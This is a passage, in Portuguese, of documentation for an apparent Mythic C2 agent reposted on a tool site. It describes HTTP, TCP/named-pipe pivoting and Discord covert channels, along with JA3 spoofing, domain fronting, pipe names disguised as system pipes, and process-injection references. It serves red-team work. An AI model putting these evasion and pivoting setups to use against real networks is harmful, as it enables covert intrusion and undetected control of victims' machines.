    • {rand:N} — N caracteres hex aleatórios (ex.: /api/{rand:8} → /api/a3f82b1c)
    • {int:M-N} — inteiro aleatório no intervalo (ex.: /v{int:1-3}/status → /v2/status)
  • Rotação de Content-Type: Defina o parâmetro de build content_types como uma lista separada por vírgulas (ex.: application/json,text/plain,application/x-www-form-urlencoded). O agente faz a rotação round-robin entre eles. Padrão: application/x-www-form-urlencoded.
  • Rotação de User-Agent: Defina o parâmetro de build user_agent_pool como uma lista separada por quebras de linha de strings de User-Agent. O agente gira entre elas por requisição, eliminando a impressão digital estática de UA. Padrão: único UA Chrome 134.
  • Backoff exponencial: Em falhas consecutivas de C2, o agente dobra seu intervalo de sleep (limitado a 5 minutos). O intervalo normal é restaurado em contato bem-sucedido.
  • Fingerprinting TLS: Falsifique impressões digitais JA3 do navegador (chrome, firefox, safari, edge, rotate, random).
  • Multiplexação HTTP/2: Negociação automática de h2 sobre HTTPS. Multiplexa requisições em uma única conexão, correspondendo ao comportamento do navegador. Fallback transparente para h1.
  • Sigilo perfeito: Rotação de chave ECDH X25519 a cada N check-ins (key_rotation_interval). Deriva novas chaves AES-256 via HKDF-SHA256, zera chaves antigas. Limita o raio de explosão de comprometimento de chave.
  • Proteção contra repetição: Números de sequência monotônicos em cada mensagem (dentro do envelope criptografado). Impede repetição de requisição/resposta capturada.
  • TLS Mútuo (mTLS): Autenticação de certificado do cliente impede interceptação passiva e proxy MITM (T1573.002).
  • Domain fronting: Defina host_header para substituir o cabeçalho HTTP Host.
  • Failover automático: Configure fallback_hosts para C2 resiliente.

Perfil TCP P2P

O perfil TCP permite vinculação de agente peer-to-peer (P2P) para pivô interno. Um agente filho escuta em uma porta TCP ou pipe nomeado do Windows e aguarda um agente pai conectar via comando link. Todas as tarefas e respostas são roteadas através do canal de saída do pai (HTTP), então o filho nunca contata o Mythic diretamente.

Arquitetura:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)

root@kitploit:~
**Parâmetros de construção:**

| Parâmetro | Descrição | Padrão |
|-----------|-------------|---------|
| `tcp_bind_address` | Endereço e porta para o filho escutar (ex.: `0.0.0.0:7777`) | _(vazio = modo HTTP)_ |
| `namedpipe_bind_name` | Nome do pipe nomeado para o filho escutar (ex.: `msrpc-f9a1`). Apenas Windows. | _(vazio)_ |

Quando `tcp_bind_address` ou `namedpipe_bind_name` está definido, o agente inicia no modo de escuta P2P em vez do modo de egresso HTTP.

**Fluxo de uso (TCP):**

1. Construa um **agente filho** com o perfil C2 TCP e `tcp_bind_address` definido (ex.: `0.0.0.0:7777`)
2. Implante o filho em um host interno (sem necessidade de acesso à internet)
3. De um **agente de egresso** (perfil HTTP), execute: `link -host <child_ip> -port 7777`
4. O Mythic cria um novo callback para o filho — todo o tasking flui através do agente de egresso
5. Para desconectar: `unlink -connection_id <uuid>`

**Fluxo de uso (Pipe Nomeado):**

1. Construa um **agente filho** com o perfil C2 TCP e `namedpipe_bind_name` definido (ex.: `msrpc-f9a1`)
2. Implante o filho em um host Windows interno
3. De um **agente de egresso**, execute: `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. A conexão usa SMB (porta 445), misturando-se com o tráfego normal de compartilhamento de arquivos do Windows
5. Para desconectar: `unlink -connection_id <uuid>`

**Criptografia:** AES-256-CBC com HMAC-SHA256 (igual ao perfil HTTP). O protocolo de rede usa framing prefixado por comprimento de 4 bytes sobre TCP ou pipe nomeado.

**Suporte a religação:** Se um pai desconecta (ex.: via `unlink` ou o agente pai morre), o agente filho armazena em cache seus dados de checkin e aguarda uma nova conexão pai. Quando um novo agente de egresso executa `link`, o filho se registra automaticamente no Mythic como um novo callback. Nenhuma intervenção manual necessária.

**Vários filhos:** Um agente de egresso pode vincular-se a vários filhos TCP e pipe nomeado simultaneamente. Cada filho opera independentemente com seu próprio callback.

**Observações de OPSEC:** Conexões de pipe nomeado usam SMB (porta 445) e geram menos indicadores de nível de rede do que TCP bruto, mas o Sysmon Event ID 17/18 (PipeEvent) e eventos ETW do Microsoft-Windows-SMBClient serão registrados se configurados.

### Perfil C2 Discord

O perfil Discord usa um bot e um canal do Discord como transporte C2 encoberto. O agente se comunica com o Mythic postando mensagens criptografadas em um canal do Discord, onde um bot do lado do servidor as retransmite para o Mythic via gRPC push C2.

**Arquitetura:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic

Como funciona:

  1. Check-in: O agente envia uma mensagem de check-in criptografada para o canal do Discord. O bot do lado do servidor a captura, encaminha para o Mythic e publica a resposta de volta no canal. O agente faz polling até encontrar a resposta.
  2. Atribuição de tarefas: O agente envia uma solicitação get_tasking via Discord. Com push C2, as tarefas também podem ser enviadas independentemente para o canal. O agente coleta todas as mensagens correspondentes por ciclo de polling.
  3. Respostas: O agente publica a saída da tarefa no canal. Respostas grandes (>1950 caracteres) são enviadas como anexos de arquivo.

Parâmetros de compilação:

ParâmetroTipoDescriçãoPadrão
discord_tokenStringToken do bot do Discord para autenticação da API(obrigatório)
bot_channelStringID do canal do Discord para troca de mensagens(obrigatório)
callback_intervalStringSegundos entre polls de tarefas10
callback_jitterStringPorcentagem de jitter (0-100)23
message_checksStringMáximo de tentativas de polling por troca20
time_between_checksStringSegundos entre tentativas de polling5
AESPSKStringChave de criptografia AES-256 pré-compartilhada(gerada automaticamente)

Criptografia: AES-256-CBC com HMAC-SHA256 (mesmo esquema do perfil HTTP). A configuração sensível (token do bot, ID do canal) é criptografada na memória após a inicialização usando um cofre AES-256-GCM.

Suporte a Push C2: O servidor Discord C2 usa o push C2 do Mythic (stream gRPC persistente). As tarefas podem chegar assincronamente entre os ciclos de polling. O agente implementa:

  • Varredura pré-poll para capturar tarefas enviadas de ciclos anteriores
  • Polling de recuperação (3 polls adicionais após a primeira correspondência) para entrega rápida de tarefas
  • Repetição de PostResponse em falhas transitórias

Limitação de taxa: Respeita os limites de taxa da API do Discord com repetição automática e backoff exponencial (até 5 tentativas). O User-Agent é codificado como DiscordBot (https://github.com, 1.0) conforme exigido pela API do Discord.

Pré-requisitos de configuração:

  1. Crie um bot do Discord em discord.com/developers
  2. Ative a intenção de Conteúdo da Mensagem do bot
  3. Adicione o bot a um servidor com permissões: Enviar Mensagens, Ler Histórico de Mensagens, Anexar Arquivos, Gerenciar Mensagens
  4. Anote o token do bot e o ID do canal alvo
  5. Configure o contêiner do servidor Discord C2 com o mesmo token do bot e ID do canal em seu config.json

Limitações conhecidas:

  • O "Último Check-in" no Mythic aparece como "Transmitindo Agora" enquanto o stream push C2 estiver ativo (inerente ao modo push C2). Após cerca de 180s de inatividade do agente, o Mythic mostra o timestamp real da última atividade.
  • Os limites de taxa da API do Discord podem introduzir latência durante atribuição de tarefas de alta frequência
  • O token do bot é um ativo crítico de OPSEC — seu comprometimento expõe o canal C2
  • Limite de tamanho de mensagem: ~1950 caracteres inline, payloads maiores usam anexos de arquivo

Agradecimentos

Tudo o que sei sobre Mythic Agents veio da Documentação do Mythic ou roubando código e ideias dos agentes Merlin e Freyja.

Depois disso, tem sido exclusivamente alimentar o Claude com links de PoC e pedir coisas legais. Loucura, né?

Técnicas e Referências

  • Threadless Injection - ThreadlessInject do CCob (implementação original em C#) e go-ThreadlessInject do dreamkinn (port em Go)
  • sRDI (Shellcode Reflective DLL Injection) - Implementação sRDI baseada em Go do Merlin, originalmente baseada no sRDI de Nick Landers (monoxgas)
  • PoolParty Injection - Pesquisa PoolParty do SafeBreach Labs (PoC original em C++) - Detalhes das variantes
  • Opus Injection - Técnicas de injeção baseadas em callback - Detalhes das variantes
  • Ícone da Fênix do OpenClipart
Baixar ferramenta